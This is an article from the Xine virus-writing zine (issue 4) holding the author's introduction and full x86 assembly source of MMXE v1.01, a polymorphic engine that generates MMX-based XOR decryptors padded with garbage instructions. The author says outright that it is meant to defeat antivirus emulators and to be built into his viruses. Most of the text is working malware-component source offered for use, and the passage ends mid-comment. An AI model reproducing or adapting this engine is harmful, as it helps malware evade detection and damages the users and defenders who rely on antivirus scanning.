/-----------------------------\ | Xine - issue #4 - Phile 301 | \-----------------------------/ ; [MMXE] - MultiMedia eXtensions Engine v1.01 ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; [ Introduction to MMXE ] ; ; Ladies and gentlemen... The world's first MMX oriented polymorphic engine! ; I want to see emulators tracing it! Well, as you can think, it's an extra- ; vaganza, but let me explain what forced me to do it. One day i was playing ; around with the FPU instructions (while coding my PoshKiller), and i built ; an encryptor using only the coprocessor, but due to some strange problems ; with the coprocessor's way to round up, i had to code a mix between the ; ussual XOR encryption method and the FPU, for stop emulators. But i had ; heard that DrWeb emulates FPU... And this is a real shit! I began to think, ; "what is not emulated?"... And there it was, the (relative) new MMX instru- ; ctions. I think that people has at least a P166MMX (as me!), so i built ; this thingy. By the way... added to the fact that this engine will generate ; the most strange decryptors around, we have the speed. It's a hell speedy ; thingy! :) ; ; This engine will also work with non-MMX machines. ; ; [ Compatibility with non-MMX machines ] ; ; The only way for compatibility is to use a function that's equal exactly in ; MMX and in its normal usage, for example PXOR and XOR functions. We must ; make two decryptors, one using MMX instructions everywhere and other usual ; one. Look at this diagram (example of what could be generated by MMXE): ; ; 旼컴컴컴컴컴� � 01. Check for MMX presence: if found goto 2; else goto E ; � Decryptor � 쳐 02. Get pseudo delta offset ; 쳐컴컴컴컴컴� � 03. Load size into size register ; � � 04. Load pointer into pointer register ; � � 05. Load key into key register ; � Encrypted � 06. Move to MMX register used as key the key ; � data � 07. Move the pointed dword to MMX reg used as pointer ; � � 08. Perform the MMX encryption operation ; � � 09. Store the decrypted dword in its position ; 읕컴컴컴컴컴� 0A. Increase pointer register by 4 ; 0B. Decrease counter register by 1 ; 0C. Loop 07 (while counter reg != 0) ; 0D. Jump to encrypted data (already decrypted) ; 0E. Get pseudo delta offset ; 0F. Load size into size register ; 10. Load pointer into pointer register ; 11. Load key into key register ; 12. Perform the non-MMX encryption operation ; 13. Increase pointer register by 4 ; 14. Decrease counter register by 1 ; 15. Loop 12 (while counter reg != 0) ; 16. Jump to encrypted data (already decrypted) ; ; Of course, between all the points will be garbage, but note the different ; kind of it: ; ; 02..0D -> MMX instructions also used as garbage ; 01,0E..16 -> MMX instructions don't used as garbage ; ; [ Brief explanation of some MMX stuff ] ; ; Anyway, if you want to text for MMX presence, you can do it by checking ; flag 23 returned by CPUID when EAX was 1. Ok, ok... simply with this code ; lines: ; ; mov eax,1 ; cpuid ; test edx,00000000010000000000000000000000b ; jnz mmx_not_found ; jmp mmx_found ; ; or even the optimized version: ; ; xor eax,eax ; inc eax ; cpuid ; bt edx,17h ; jnc mmx_not_found ; ; It is very viable, as we have some "known" operations, but speeded up, such ; as PXOR, POR, PAND, and such like. So it's very easy to perform a simple ; encryptor by using MMX instructions. Here you have an example: ; ; lea edi,pointer_to_data_to_crypt ; mov esi,enc_key ; mov ecx,size_to_crypt/4 ; movd mm2,esi ; @@1: movd mm1,[edi] ; pxor mm1,mm2 ; movd [edi],mm1 ; add edi,4 ; loop @@1 ; ; This will perform a simple XOR operation dword per dword to all the encryp- ; ted data. Simple, huh? :) I would like to see the face that will have the ; first AV in obtain something that uses MMX! Hehehe, he won't be expecting ; such like thing! :) ; ; Well, this engine provides a weak encryption, just because i need more time ; for experiment with the different MMX opcodes. Also, i've never been very ; good at poly: i begin very spectacular projects, but i become bored by them ; very quickly (for example, i've coded an engine called WPE, i have it in my ; HD, but i think i will never finish it... it's now about 3.5K...). Well, ; i think there'll be a version 2.00 of this engine, that will be implemented ; in one of my simplest viruses (such as Win32.Aztec or Win32.Paradise) for ; test its abilities. ; ; [ Dedications, Fucks & Thoughts ] ; ; This engine is dedicated to all my friends: b0z0, StarZer0, SeptiC, Benny, ; Super, nIgr0, MDriller, VirusBuster, Wintermute, Ypsilon, etc. ; Fucks go to the following motherfuckers: IntelServ/VGrep/Algorithm/etc, to ; all fascists and totalitarian ppl over the earth, to the catholics fanatics ; (or of another religion)... i.e. all the people that doesn't control his ; life, who is not free, and wants all the other ppl to be as him... ; ; I'll be forever free (nice song, heh inty?) :) ; ; (c) 1999 Billy Belcebu/iKX .586p .model flat extrn ExitProcess:PROC extrn GetTickCount:PROC extrn MessageBoxA:PROC rdtcs equ .data db "[MMXE] - MultiMedia eXtensions Engine v1.00",0 db "A research made by Billy Belcebu/iKX",0 .code ; Here follows some code used by me for test the engine fakehost: xor ebp,ebp call GetTickCount mov dword ptr [ebp+rnd_seed1],eax rdtcs mov dword ptr [ebp+rnd_seed2],eax mov dword ptr [ebp+rnd_seed3],edx int 3 lea esi,crypt lea edi,buffer mov ecx,cryptsize call mmxe call buffer ; Decrypt push 00001000h push offset c1 push offset c2 push 00000000h call MessageBoxA push 0 call ExitProcess nop buffer: db LIMIT dup (90h) crypt: ret c1: db "[MMXE." db (mmxe_end-mmxe)/1000 mod 10 + "0" db (mmxe_end-mmxe)/0100 mod 10 + "0" db (mmxe_end-mmxe)/0010 mod 10 + "0" db (mmxe_end-mmxe)/0001 mod 10 + "0" db "]",0 c2: db "Late at night i found myself again",10 db "wondering and watching TV",10 db "I can't believe what's on the screen",10 db "something that i wouldn't like to see",10 db "Many rare species will perish soon",10 db "and we'll be short on food",10 db "Why do we have to be so selfish",10 db "we have to change our attitude",10 db "I know that i am not",10 db "the only one that's worried",10 db "Why don't we all",10 db "wake up, and and realize",10 db "Like the birds in the sky",10 db "we are flying so high",10 db "without making anykind of sacrifice",10 db "We've got so little time",10 db "to undo this crime",10 db "or we'll lose our paradise",10 db "It seems to me that there's no sense at all",10 db "nobody cares, it's always the same",10 db "Mother nature's crying out in pain",10 db "I know we are the ones to blame",10 db "Paradise [ Stratovarius ]",10,10 db "(c) 1999 Billy Belcebu/iKX",0 dd 00000000h cryptsize equ $-crypt ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; [MMXE] - MultiMedia eXtensions Engine v1.01 ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; ; This is a bugfixed and improved version of my MMXE v1.00. Enjoy it! ; PS: Of course, this engine is so far away from Mental Driller's code, but ; at least it tries to be poly, huh? :) ; ; input: ; ECX = Size of code to encrypt ; ESI = Pointer to the data to encrypt ; EDI = Buffer where put the decryptor ; EBP = Delta Offset ; output: ; ECX = Decryptor size ; ; All the other registers, preserved. ; ; [ Default MMXE settings ] LIMIT equ 800h ; Decryptor size (2K) RECURSION equ 05h ; The recursion level of THME nGARBAGE equ 08h ; Sorta level of garbage ; [ Registers ] _EAX equ 00000000b ; All these are the numeric _ECX equ 00000001b ; value of all the registers. _EDX equ 00000010b ; Heh, i haven't used here _EBX equ 00000011b ; all this, but... wtf? they _ESP equ 00000100b ; don't waste bytes, and ma- _EBP equ 00000101b ; ke this shit to be more _ESI equ 00000110b ; clear :) _EDI equ 00000111b ; ; [ MMX registers ] _MM0 equ 00000000b _MM1 equ 00000001b _MM2 equ 00000010b _MM3 equ 00000011b _MM4 equ 00000100b _MM5 equ 00000101b _MM6 equ 00000110b _MM7 equ 00000111b ; [ Internal flags ] _CHECK4MMX equ 0000000000000001b _DELTAOFFSET equ 0000000000000010b _LOADSIZE equ 0000000000000100b _LOADPOINTER equ 0000000000001000b _LOADKEY equ 0000000000010000b _PASSKEY2MMX equ 0000000000100000b _PASSPTR2MMX equ 0000000001000000b _CRYPT equ 0000000010000000b _PASSMMX2PTR equ 0000000100000000b _INCPOINTER equ 0000001000000000b _DECCOUNTER equ 0000010000000000b _LOOP equ 0000100000000000b ; [ POSITIONS ] @CHECK4MMX equ 00h @DELTAOFFSET equ 01h @LOADSIZE equ 02h @LOADPOINTER equ 03h @LOADKEY equ 04h @PASSKEY2MMX equ 05h @PASSPTR2MMX equ 06h @CRYPT equ 07h @PASSMMX2PTR equ 08h @INCPOINTER equ 09h @DECCOUNTER equ 0Ah @LOOP equ 0Bh ; [ PUSHAD structure ] PUSHAD_EDI equ 00h PUSHAD_ESI equ 04h PUSHAD_EBP equ 08h PUSHAD_ESP equ 0Ch PUSHAD_EBX equ 10h PUSHAD_EDX equ 14h PUSHAD_ECX equ 18h PUSHAD_EAX equ 1Ch RETURN_ADDRESS equ 04h ; [ MMXE v1.01 ] mmxe proc pushad call @@init_mmxe pushad call @@crypt_data popad call @@gen_some_garbage call @@gen_check4mmx call @@gen_some_garbage ; Generate the 5 parts of the decryptor that go before the loop @@gb4l_: call @@gen_some_garbage call @@gen_before_loop @@gb4l?: movzx ecx,word ptr [ebp+@@flags] xor ecx,_CHECK4MMX or \ ; Check if all flags were _DELTAOFFSET or \ ; done ... (They should be, _LOADSIZE or \ ; but i don't trust in my own _LOADPOINTER or \ ; code :) _LOADKEY or \ _PASSKEY2MMX jnz @@gb4l_ ; Get the loop point call @@getloopaddress call @@gen_some_garbage ; Generate the decryptor instructions that form the loop lea esi,[ebp+@@after_looptbl] mov ecx,@@s_aftlooptbl @@gal: lodsd add eax,ebp push ecx esi call eax call @@gen_some_garbage pop esi ecx loop @@gal mov al,0E9h stosb mov eax,LIMIT mov ebx,edi sub ebx,dword ptr [ebp+@@ptr_buffer] add ebx,4 sub eax,ebx stosd ; And now generate the non-MMX decryptor call @@gen_garbage mov eax,dword ptr [ebp+@@ptrto2nd] mov ebx,edi sub ebx,eax sub ebx,4 mov dword ptr [eax],ebx and word ptr [ebp+@@flags],0000h and byte ptr [ebp+@@init_mmx?],00h or word ptr [ebp+@@flags],_CHECK4MMX @@gb4lx_: call @@gen_some_garbage call @@gen_before_loop_non_mmx @@gb4lx?: movzx ecx,word ptr [ebp+@@flags] xor ecx,_CHECK4MMX or \ ; Check if all flags were _DELTAOFFSET or \ ; done ... (They should be, _LOADSIZE or \ ; but i don't trust in my own _LOADPOINTER or \ ; code :) _LOADKEY jz @@continue_with_this movzx ecx,word ptr [ebp+@@flags] xor ecx,_CHECK4MMX or \ ; In strange files, i dunno _DELTAOFFSET or \ ; why, instead 1F, we must _LOADSIZE or \ ; check for 3F... otherwise, _LOADPOINTER or \ ; all it goes to hell :( _LOADKEY or \ _PASSKEY2MMX jnz @@gb4lx_ @@continue_with_this: call @@gen_garbage call @@getloopaddress lea esi,[ebp+@@after_l00ptbl] mov ecx,@@s_aftl00ptbl @@galx: lodsd add eax,ebp push ecx esi call eax call @@gen_some_garbage pop esi ecx loop @@galx mov al,0E9h ; Generate the JMP to the stosb ; decrypted virus code mov eax,LIMIT mov ebx,edi sub ebx,dword ptr [ebp+@@ptr_buffer] add ebx,04h sub eax,ebx stosd xchg eax,ecx ; Fill with shit the rest @@FillTheRest: call random stosb loop @@FillTheRest call @@uninit_mmxe popad ret db 00h,"[MMXE v1.01]",00h ; --- Initialization & Uninitialization routines @@init_mmxe: mov dword ptr [ebp+@@ptr_data2enc],esi mov dword ptr [ebp+@@ptr_buffer],edi mov dword ptr [ebp+@@size2enc],ecx shr ecx,2 mov dword ptr [ebp+@@size2cryptd4],ecx and byte ptr [ebp+@@init_mmx?],00h and word ptr [ebp+@@flags],00h call random mov dword ptr [ebp+@@enc_key],eax @@get_key: mov eax,08h call r_range or eax,eax jz @@get_key cmp eax,_ESP jz @@get_key mov byte ptr [ebp+@@reg_key],al mov ebx,eax @@get_ptr2data: mov eax,08h call r_range or eax,eax jz @@get_ptr2data cmp eax,_ESP jz @@get_ptr2data cmp eax,_EBP jz @@get_ptr2data cmp eax,ebx jz @@get_ptr2data mov byte ptr [ebp+@@reg_ptr2data],al mov ecx,eax @@get_counter: mov eax,08h call r_range or eax,eax jz @@get_counter cmp eax,_ESP jz @@get_counter cmp eax,ebx jz @@get_counter cmp eax,ecx jz @@get_counter mov byte ptr [ebp+@@reg_counter],al mov edx,eax @@get_delta: mov eax,08h call r_range or eax,eax jz @@get_delta cmp eax,_ESP jz @@get_delta cmp eax,ebx jz @@get_delta cmp eax,ecx jz @@get_delta cmp eax,edx jz @@get_delta mov byte ptr [ebp+@@reg_delta],al mov edx,eax @@get_mmxptr2data: mov eax,08h call r_range mov byte ptr [ebp+@@mmx_ptr2data],al mov ebx,eax @@get_mmxkey: mov eax,08h call r_range cmp eax,ebx jz @@get_mmxkey mov byte ptr [ebp+@@mmx_key],al mov dword ptr [edi],"EXMM" ret @@uninit_mmxe: mov ecx,edi sub ecx,dword ptr [ebp+@@ptr_buffer] mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx ret ; --- Who made this? Ehrm... oh, it was me! :) db 00h,"[- (c) 1999 Billy Belcebu/iKX -]",00h ; --- Useful subroutines used by the engine @@get_register: movzx ebx,byte ptr [ebp+@@reg_key] movzx ecx,byte ptr [ebp+@@reg_ptr2data] movzx edx,byte ptr [ebp+@@reg_counter] movzx esi,byte ptr [ebp+@@reg_delta] @@gr_get_another: mov eax,08h call r_range cmp eax,_ESP jz @@gr_get_another cmp eax,ebx jz @@gr_get_another cmp eax,ecx jz @@gr_get_another cmp eax,edx jz @@gr_get_another cmp eax,esi jz @@gr_get_another cmp al,byte ptr [ebp+@@reg_mask] jz @@gr_get_another ret @@get_mmx_register: movzx ebx,byte ptr [ebp+@@mmx_ptr2data] movzx ecx,byte ptr [ebp+@@mmx_key] @@gmmxr_get_another: mov eax,08h call r_range cmp eax,ebx jz @@gmmxr_get_another cmp eax,ecx jz @@gmmxr_get_another ret @@clear_mask: and byte ptr [ebp+@@reg_mask],00h ret @@is_register: cmp al,byte ptr [ebp+@@reg_key] jz @@is_used cmp al,byte ptr [ebp+@@reg_ptr2data] jz @@is_used cmp al,byte ptr [ebp+@@reg_counter] jz @@is_used cmp al,byte ptr [ebp+@@reg_delta] jz @@is_used cmp al,byte ptr [ebp+@@reg_mask] jz @@is_used mov cl,00h org $-1 @@is_used: stc ret @@gen_before_loop: mov eax,05h call r_range or eax,eax ; 0 jz @@try_deltaoffset dec eax ; 1 jz @@try_loadsize dec eax ; 2 jz @@try_loadpointer dec eax ; 3 jz @@try_loadkey ; 4 jmp @@try_passkey2mmx ; 5 @@try_deltaoffset: bt word ptr [ebp+@@flags],@DELTAOFFSET jc @@gen_before_loop call @@gen_deltaoffset ret @@try_loadsize: bt word ptr [ebp+@@flags],@LOADSIZE jc @@gen_before_loop call @@gen_loadsize ret @@try_loadpointer: bt word ptr [ebp+@@flags],@LOADPOINTER jc @@gen_before_loop bt word ptr [ebp+@@flags],@DELTAOFFSET jnc @@gen_before_loop call @@gen_loadpointer ret @@try_loadkey: bt word ptr [ebp+@@flags],@LOADKEY jc @@gen_before_loop call @@gen_loadkey ret @@try_passkey2mmx: bt word ptr [ebp+@@flags],@PASSKEY2MMX jc @@gen_before_loop bt word ptr [ebp+@@flags],@LOADKEY jnc @@gen_before_loop call @@gen_passkey2mmx ret @@gen_before_loop_non_mmx: mov eax,04h call r_range or eax,eax ; 0 jz @@try_deltaoffset_non_mmx dec eax ; 1 jz @@try_loadsize_non_mmx dec eax ; 2 jz @@try_loadpointer_non_mmx jmp @@try_loadkey_non_mmx @@try_deltaoffset_non_mmx: bt word ptr [ebp+@@flags],@DELTAOFFSET jc @@gen_before_loop call @@gen_deltaoffset ret @@try_loadsize_non_mmx: bt word ptr [ebp+@@flags],@LOADSIZE jc @@gen_before_loop call @@gen_loadsize ret @@try_loadpointer_non_mmx: bt word ptr [ebp+@@flags],@LOADPOINTER jc @@gen_before_loop bt word ptr [ebp+@@flags],@DELTAOFFSET jnc @@gen_before_loop call @@gen_loadpointer ret @@try_loadkey_non_mmx: bt word ptr [ebp+@@flags],@LOADKEY jc @@gen_before_loop call @@gen_loadkey ret @@crypt_data: mov ecx,dword ptr [ebp+@@size2cryptd4] mov ebx,dword ptr [ebp+@@enc_key] mov edi,dword ptr [ebp+@@ptr_data2enc] mov esi,edi @@cl00p:lodsd xor eax,ebx stosd loop @@cl00p ret ; --- Garbage generators @@gen_garbage: inc byte ptr [ebp+@@recursion] cmp byte ptr [ebp+@@recursion],RECURSION jae @@gg_exit cmp byte ptr [ebp+@@init_mmx?],00h ja @@gg_mmx @@gg_non_mmx: mov eax,@@non_mmx_gbg jmp @@gg_doit @@gg_mmx: mov eax,@@s_gbgtbl @@gg_doit: call r_range lea ebx,[ebp+@@gbgtbl] mov eax,[ebx+eax*4] add eax,ebp call eax @@gg_exit: dec byte ptr [ebp+@@recursion] ret @@gen_some_garbage: mov ecx,nGARBAGE @@gsg_l00p: push ecx call @@gen_garbage pop ecx loop @@gsg_l00p ret ; Generates any arithmetic operation with a register with another one register: ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,REG32 @@gen_arithmetic_reg32_reg32: call random and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] or al,00000011b stosb @@gar32r32: call @@get_register or al,al jz @@gar32r32 shl eax,3 or al,11000000b push eax call random and al,00000111b xchg ebx,eax pop eax or al,bl stosb ret ; Generates any arithmetic operation with an immediate with a 32bit register: ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,IMM32 @@gen_arithmetic_reg32_imm32: mov al,81h ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] stosb @@gar32i32: call @@get_register or al,al jz @@gar32i32 push eax call random and al,00111000b or al,11000000b pop ebx or al,bl stosb call random stosd ret ; Generates any arithmetic operation with an immediate with EAX: ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP EAX,IMM32 @@gen_arithmetic_eax_imm32: call random and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] or al,00000101b stosb call random stosd ret ; Generates a mov immediate to 32 bit reg: ; MOV REG32,IMM32 @@gen_mov_reg32_imm32: call @@get_register add al,0B8h stosb call random stosd ret ; Generates mov immediate to 8bit reg: ; MOV REG8,IMM8 @@gen_mov_reg8_imm8: mov eax,4 call r_range call @@is_register jc @@quitthisshit push eax mov eax,2 call r_range pop ecx xchg eax,ecx jecxz @@use_msb @@put_it: add al,0B0h stosb call random stosb @@quitthisshit: ret @@use_msb: or al,00000100b jmp @@put_it ; Generates CALLs to subroutines: ; CALL @@1 ; [...] ; JMP @@2 ; [...] ; @@1: [...] ; RET ; [...] ; @@2: [...] @@gen_call_to_subroutine: mov al,0E8h stosb xor eax,eax stosd push edi call @@gen_garbage mov al,0E9h stosb xor eax,eax stosd push edi call @@gen_garbage mov al,0C3h stosb call @@gen_garbage mov ebx,edi pop edx sub ebx,edx mov [edx-4],ebx pop ecx sub edx,ecx mov [ecx-4],edx @@do_anything: ret ; Generate push/garbage/pop structure (allows recursivity): ; PUSH REG ; [...] ; POP REG ; @@gen_push_garbage_pop: mov eax,08h call r_range add al,50h stosb call @@gen_garbage call @@get_register add al,58h stosb ret ; MMX Group 1: ; ; PUNPCKLBW/PUNPCKLWD/PUNPCKLDQ/PACKSSWB/PCMPGTB/PCMPGTW/PCMPGTD/PACHUSWB ; PUNPCKHBW/PUNPCKHWD/PUNPCKHDQ/PACKSSDW @@gen_mmx_group1: mov bx,600Fh mov eax,0Ch call r_range add bh,al xchg eax,ebx stosw call @@build_mmx_gbg_rib ret @@gen_mmx_movq_mm?_mm?: mov ax,6F0Fh ; MOVQ MM?,MM? stosw call @@build_mmx_gbg_rib ret @@gen_mmx_movd_mm?_reg32: mov ax,7E0Fh ; MOVD MM?,E?? stosw call @@get_mmx_register shl eax,3 push eax call @@get_register xchg eax,ebx pop eax or al,bl or al,11000000b stosb ret ; MMX Group 2: ; ; PCMPEQB/PCMPEQW/PCMPEQD @@gen_mmx_group2: mov al,0Fh stosb mov eax,3 call r_range add al,74h stosb call @@build_mmx_gbg_rib ret ; MMX Group 3: ; ; PSRLW/PSRLD/PSRLQ/PMULLW/PSUBUSB/PSUBUSW/PAND/PADDUSB/PADDUSW/PANDN/PSRAW ; PSRAD/PMULHW/PSUBSB/PSUBSW/POR/PADDSB/PADDSW/PXOR/PSLLW/PSLLD/PSLLQ/PMULADDWD @@gen_mmx_group3: mov al,0Fh stosb call @@__overshit @@eoeo: db 0D1h,0D2h,0D3h,0D5h,0D8h,0D9h,0DBh,0DCh,0DDh,0DFh db 0E1h,0E2h,0E5h,0E8h,0E9h,0EBh,0ECh,0EDh,0EFh db 0F1h,0F2h,0F5h sg3tbl equ ($-offset @@eoeo) @@__overshit: pop esi mov eax,sg3tbl call r_range mov al,byte ptr [esi+eax] stosb call @@build_mmx_gbg_rib @@gmmx_goaway: ret @@build_mmx_gbg_rib: call @@get_mmx_register shl eax,3 push eax call @@get_mmx_register xchg eax,ebx pop eax or eax,ebx or al,11000000b stosb ret ; Generate Onebyters: ; ; CLD/CMC/SALC/NOP/LAHF/INC EAX/DEC EAX/SAHF/(F)WAIT/CWDE @@gen_onebyter: call @@go_overshit db 0FCh,0F5h,0D6h,90h,9Fh,40h,48h,9Eh,9Bh,98h @@go_overshit: pop esi mov eax,0Ah call r_range mov al,byte ptr [esi+eax] stosb ret ; Generate many possible ways for make a determinated register to be 0: ; XOR REG,REG/SUB REG,REG/PUSH 0 POP REG/AND REG,0/MOV REG,0 @@gen_zer0_reg: call @@get_register ; For garbage generators @@gen_zero_reg: push eax mov eax,06h call r_range pop ecx xchg eax,ecx jecxz @@xor_reg_reg dec ecx jecxz @@sub_reg_reg dec ecx jecxz @@push_0_pop_reg dec ecx jecxz @@and_reg_0 dec ecx jecxz @@mov_reg_0 @@or_reg_m1_inc_reg: push eax cmp al,_EAX jnz @@or_reg_m1 @@or_eax_m1: mov al,0Dh ; OR EAX,-1 stosb xor eax,eax dec eax stosd jmp @@orm1ir_inc_reg @@or_reg_m1: xchg eax,ebx mov ax,0C883h ; OR REG,-1 or ah,bl stosw xor eax,eax dec eax stosb xchg eax,ebx @@orm1ir_inc_reg: pop eax add al,40h ; INC REG stosb ret @@xor_reg_reg: xchg eax,ebx mov ax,0C033h ; XOR REG,REG or ah,bl shl ebx,3 or ah,bl stosw ret @@sub_reg_reg: xchg eax,ebx mov ax,0C02Bh ; SUB REG,REG or ah,bl shl ebx,3 or ah,bl stosw ret @@push_0_pop_reg: push eax mov ax,006Ah ; PUSH 00h stosw ; POP REG pop eax add al,58h stosb ret @@and_reg_0: cmp al,_EAX jnz @@and_regnoteax_0 @@and_eax_0: mov al,25h stosb xor eax,eax stosd ret @@and_regnoteax_0: xchg eax,ebx mov ax,0E083h ; AND REG,00 or ah,bl stosw xor eax,eax stosb ret @@mov_reg_0: add al,0B8h ; MOV REG,00000000 stosb xor eax,eax stosd ret ; --- Decryptor code generators ; Generate the routine for check for MMX presence, that should perform exactly ; the same action of the following code: ; MOV EAX,1 ; CPUID ; BT EDX,17h ; JNC NOT_MMX @@gen_check4mmx: mov eax,08h call r_range xchg eax,ecx jecxz @@c4mmx_a_@@1 dec ecx jecxz @@c4mmx_a_@@2 dec ecx jecxz @@c4mmx_a_@@3 dec ecx jecxz @@c4mmx_a_@@4 dec ecx jecxz @@c4mmx_a_@@5 dec ecx jecxz @@c4mmx_a_@@6 dec ecx jecxz @@c4mmx_a_@@7 @@c4mmx_a_@@8: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; SUB EAX,-1 mov al,2Dh stosb xor eax,eax dec eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@7: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; ADD EAX,1 mov al,05h stosb xor eax,eax inc eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@6: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; STC mov ax,1DF9h ; SBB EAX,-2 stosw xor eax,eax dec eax dec eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@5: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; STC mov ax,15F9h ; ADC EAX,00000000 stosw xor eax,eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@4: mov al,0Dh ; OR EAX,-1 stosb ; AND EAX,1 xor eax,eax dec eax stosd mov al,25h stosb xor eax,eax inc eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@3: mov eax,9058016Ah ; PUSH 01 stosd ; POP EAX dec edi jmp @@c4mmx_over_a @@c4mmx_a_@@2: xor eax,eax call @@gen_zero_reg ; ZERO EAX mov al,40h ; INC EAX stosb jmp @@c4mmx_over_a @@c4mmx_a_@@1: mov al,0B8h ; MOV EAX,1 stosb xor eax,eax inc eax stosd @@c4mmx_over_a: call @@gen_garbage mov ax,0A20Fh ; CPUID stosw call @@clear_mask mov byte ptr [ebp+@@reg_mask],_EDX call @@gen_garbage mov eax,03h call r_range or eax,eax jz @@c4mmx_b_@@3 dec eax jz @@c4mmx_b_@@2 @@c4mmx_b_@@1: mov eax,17E2BA0Fh ; BT EDX,17h stosd ; JC $+?? mov al,72h stosb jmp @@c4mmx_over_b @@c4mmx_b_@@2: mov eax,0000C2F7h ; TEST EDX,00400000h stosd ; JZ $+?? mov eax,00740040h stosd dec edi jmp @@c4mmx_over_b @@c4mmx_b_@@3: mov eax,7218EAC1h ; SHR EDX,18h stosd ; JC $+?? @@c4mmx_over_b: push edi inc edi ; Fake data for temp. fill call @@gen_garbage mov al,0e9h ; RET stosb mov dword ptr [ebp+@@ptrto2nd],edi xor eax,eax stosd call @@gen_garbage pop ebx mov edx,edi sub edx,ebx dec edx mov byte ptr [ebx],dl inc byte ptr [ebp+@@init_mmx?] or word ptr [ebp+@@flags],_CHECK4MMX ret ; Generate a routine for get the pseudo delta-offset, which will look like ; this one: ; CALL @@1 ; [...] ; @@1: POP REG @@gen_deltaoffset: mov eax,10h call r_range xchg eax,ebx mov al,0E8h stosb xor eax,eax stosd mov dword ptr [ebp+@@tmp_call],edi call @@gen_garbage mov ecx,dword ptr [ebp+@@tmp_call] mov ebx,edi sub ebx,ecx mov [ecx-4],ebx mov al,58h add al,byte ptr [ebp+@@reg_delta] stosb mov ebx,dword ptr [ebp+@@ptr_buffer] sub ecx,ebx mov dword ptr [ebp+@@fix1],ecx or word ptr [ebp+@@flags],_DELTAOFFSET ret ; Generate a routine for put in the register used as counter the size of the ; code we want to decrypt @@gen_loadsize: or word ptr [ebp+@@flags],_LOADSIZE mov eax,2 call r_range xchg eax,ecx jecxz @@gls_@@2 @@gls_@@1: mov al,68h ; PUSH size stosb ; POP reg_size mov dword ptr [ebp+@@size_address],edi mov eax,dword ptr [ebp+@@size2cryptd4] stosd call @@gen_garbage mov al,58h add al,byte ptr [ebp+@@reg_counter] stosb ret @@gls_@@2: movzx eax,byte ptr [ebp+@@reg_counter] add eax,0B8h ; MOV reg_size,size stosb mov dword ptr [ebp+@@size_address],edi mov eax,dword ptr [ebp+@@size2cryptd4] stosd ret ; Generate the code that will make the pointer register to point exactly to ; the beginning of the code we want to encrypt or decrypt @@gen_loadpointer: mov eax,LIMIT sub eax,dword ptr [ebp+@@fix1] mov dword ptr [ebp+@@fix2],eax mov eax,03h call r_range or eax,eax jz @@lp_@@3 dec eax jz @@lp_@@2 @@lp_@@1: mov al,8Dh ; LEA reg_ptr,[reg_delta+fix] stosb movzx eax,byte ptr [ebp+@@reg_ptr2data] shl al,3 add al,10000000b add al,byte ptr [ebp+@@reg_delta] stosb jmp @@lp_ @@lp_@@2: mov al,8Bh ; MOV reg_ptr,reg_delta stosb ; ADD reg_ptr,fix movzx eax,byte ptr [ebp+@@reg_ptr2data] shl eax,3 or al,byte ptr [ebp+@@reg_delta] or al,11000000b stosb call @@gen_garbage mov al,81h stosb mov al,0C0h or al,byte ptr [ebp+@@reg_ptr2data] stosb jmp @@lp_ @@lp_@@3: call @@clear_mask ; MOV reg_mask,fix2 call @@get_register ; LEA reg_ptr,[reg_mask+reg_delta+(fix+fix2)] mov byte ptr [ebp+@@reg_mask],al add al,0B8h stosb call random stosd push eax call @@gen_garbage pop edx sub dword ptr [ebp+@@fix2],edx mov al,8Dh stosb movzx eax,byte ptr [ebp+@@reg_ptr2data] shl eax,3 or al,10000100b stosb movzx eax,byte ptr [ebp+@@reg_mask] shl eax,3 or al,byte ptr [ebp+@@reg_delta] stosb @@lp_: mov eax,dword ptr [ebp+@@fix2] stosd or word ptr [ebp+@@flags],_LOADPOINTER ret ; Put in the register used as key the number used for the encryption of the ; virus code. @@gen_loadkey: mov eax,2 call r_range xchg eax,ecx jecxz @@glk_@@2 @@glk_@@1: mov al,68h ; PUSH enc_key stosb ; POP reg_key mov eax,dword ptr [ebp+@@enc_key] stosd call @@gen_garbage mov al,58h add al,byte ptr [ebp+@@reg_key] stosb or word ptr [ebp+@@flags],_LOADKEY ret @@glk_@@2: ; MOV key_reg,enc_key movzx eax,byte ptr [ebp+@@reg_key] add eax,0B8h stosb mov eax,dword ptr [ebp+@@enc_key] stosd or word ptr [ebp+@@flags],_LOADKEY ret ; Generate the code for pass the encryption key to an MMX register @@gen_passkey2mmx: mov ax,6E0Fh ; MOV mmx_key,reg_key stosw movzx eax,byte ptr [ebp+@@mmx_key] shl eax,3 or al,byte ptr [ebp+@@reg_key] or al,11000000b stosb or word ptr [ebp+@@flags],_PASSKEY2MMX ret ; Just for know where we must loop the decryptor @@getloopaddress: mov dword ptr [ebp+@@l00paddress],edi ret ; Pass the dword of code we are decrypting to the MMX register used for that ; matter @@gen_passptr2mmx: mov ax,6E0Fh ; MOV mmx_ptr,[reg_ptr] stosw movzx eax,byte ptr [ebp+@@mmx_ptr2data] shl eax,3 or al,byte ptr [ebp+@@reg_ptr2data] stosb or word ptr [ebp+@@flags],_PASSPTR2MMX ret ; Generate the MMX encryption opcode: ; PXOR @@gen_crypt_instructions: mov ax,0EF0Fh ; PXOR mmx_ptr,mmx_key stosw movzx eax,byte ptr [ebp+@@mmx_ptr2data] shl eax,3 or al,byte ptr [ebp+@@mmx_key] or al,11000000b stosb or word ptr [ebp+@@flags],_CRYPT ret ; Generate the alternative method of MMX encryption code: ; PXOR = XOR 